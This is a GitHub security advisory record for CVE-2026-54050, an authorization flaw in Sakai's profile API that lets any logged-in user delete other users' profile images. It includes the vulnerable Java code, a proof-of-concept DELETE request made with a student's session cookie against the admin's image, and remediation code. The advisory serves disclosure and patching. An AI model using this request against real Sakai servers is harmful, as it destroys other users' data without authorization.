CVE-2026-54050: Profile2 api Sakai Profile Image Deletion Has Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-9284-fjc3-fmmj",
  "modified" : "2026-08-24T19:40:37Z",
  "published" : "2026-08-24T19:40:37Z",
  "aliases" : [ "CVE-2026-54050" ],
  "summary" : "Sakai Profile Image Deletion has an IDOR",
  "details" : "### Summary\n\nThe Sakai REST API endpoint `DELETE /api/users/{userId}/profile/image` does not verify that the requesting user is authorized to modify the target user's profile. Any authenticated user can delete the profile image of any other user, including administrators, by supplying a different `userId` in the path. The service layer has no authorization check, and the delete cascades through Content Hosting Service (CHS) with a security advisor that bypasses all CHS permission checks.\n\n### Details\n`ProfileController.removeProfileImage()` in the webapi module retrieves the current user's session but performs no comparison between the authenticated user and the target `userId` path parameter:\n\n```java\n@DeleteMapping(value = \"/users/{userId}/profile/image\")\npublic ResponseEntity<String> removeProfileImage(@PathVariable String userId) {\n    String currentUserId = checkSakaiSession().getUserId();\n    if (currentUserId == null) {\n        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();\n    }\n    profileService.removeProfileImage(userId);  // userId is attacker-controlled\n    return ResponseEntity.ok().build();\n}\n```\n\n`ProfileServiceImpl.removeProfileImage()` delegates directly to `dao.removeProfileImage(userUuid)` with no authorization check. The DAO calls `profileImageUploadedRepository.deleteById(userId)`, removing the `profile_images_t` row unconditionally.\n\nFor contrast, the upload endpoint `setProfileImage()` correctly verifies ownership:\n\n```java\nif (!sakaiProxy.isSuperUser() && !StringUtils.equals(currentUserUuid, userUuid)) {\n    throw new SecurityException(\"Not allowed to save.\");\n}\n```\n\nThis asymmetry means any authenticated user can delete but not upload over another user's profile image.\n\nAdditionally, the pronunciation recording delete endpoint (`DELETE /api/users/{userId}/profile/pronunciation`) has no `checkSakaiSession()` call at all, making it accessible without any authentication.\n\n\n**Setup:**\n- Admin user: `admin`, with a custom profile image uploaded\n- Attacker: `student2` (unprivileged user, SAKAIID cookie from authenticated session)\n\n**Step 1 - Admin uploads profile image (confirm non-default state):**\n\n```\nPOST /api/users/admin/profile/image HTTP/1.1\nCookie: SAKAIID=<admin-session>\nContent-Type: application/x-www-form-urlencoded\n\nbase64=<base64-encoded-png>\n```\n\nResponse: `{\"status\":\"SUCCESS\"}`\n\n**Step 2 - Verify image exists in database:**\n\n```sql\nSELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin';\n-- Result: admin | /private/profileImages/admin/1/eb92b129-9b00-4978-aec3-be840455d8e9\n```\n\n**Step 3 - Attacker (student2) deletes admin's profile image:**\n\n```\nDELETE /api/users/admin/profile/image HTTP/1.1\nHost: localhost:9107\nCookie: SAKAIID=974996f4-e9c1-441c-9ab9-d3646aa5c754.9799861f31fb\n```\n\nResponse: `HTTP/1.1 200`\n\n**Step 4 - Verify image is gone from database:**\n\n```sql\nSELECT USER_UUID, RESOURCE_MAIN FROM profile_images_t WHERE USER_UUID='admin';\n-- Result: (empty - row deleted)\n```\n\nThe attack succeeds. Student2's session is accepted by `checkSakaiSession()` (non-blank userId), and the target userId (`admin`) is passed directly to the service without any ownership check.\n\n### Impact\n\nAny authenticated user (student, guest) can:\n- Permanently delete the profile image of any other user, including administrators and instructors\n- Repeatedly trigger deletion to prevent a target user from maintaining a profile picture\n- In a university context where profile photos are used for identity verification in proctored exams or student directories, this could disrupt identity management workflows\n\nThe attack is trivially scriptable and can target all users on the platform in bulk.\n\n### Suggested Remediation\n\nIn `ProfileController.removeProfileImage()`, add an ownership check before calling the service:\n\n```java\n@DeleteMapping(value = \"/users/{userId}/profile/image\")\npublic ResponseEntity<String> removeProfileImage(@PathVariable String userId) {\n    Session session = checkSakaiSession();\n    String currentUserId = session.getUserId();\n    if (currentUserId == null) {\n        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();\n    }\n    // Add this check:\n    if (!sakaiProxy.isSuperUser() && !currentUserId.equals(userId)) {\n        return ResponseEntity.status(HttpStatus.FORBIDDEN).build();\n    }\n    profileService.removeProfileImage(userId);\n    return ResponseEntity.ok().build();\n}\n```\n\nApply the same ownership check in `ProfileServiceImpl.removeProfileImage()` for defense-in-depth, mirroring the pattern in `setProfileImage()`.\n\nFor the pronunciation endpoint, add `checkSakaiSession()` and the same ownership check.\n\n### Status / timeline:\n- 2026-06-02: Fix committed to master (`a092dbf3dc6bf343131f50007c207a9abd95e852`)\n- Release pending.",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.sakaiproject.profile2:profile2-api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "23.0"
      }, {
        "fixed" : "23.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.sakaiproject.profile2:profile2-api"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "25.0"
      }, {
        "last_affected" : "25.2"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.sakaiproject.profile2:profile2-impl"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "23.0"
      }, {
        "fixed" : "23.5"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "org.sakaiproject.profile2:profile2-impl"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "25.0"
      }, {
        "last_affected" : "25.2"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/sakaiproject/sakai/security/advisories/GHSA-9284-fjc3-fmmj"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sakaiproject/sakai/commit/a092dbf3dc6bf343131f50007c207a9abd95e852"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/sakaiproject/sakai"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/sakaiproject/sakai/releases/tag/23.5"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-639" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-08-24T19:40:37Z",
    "nvd_published_at" : null
  }
}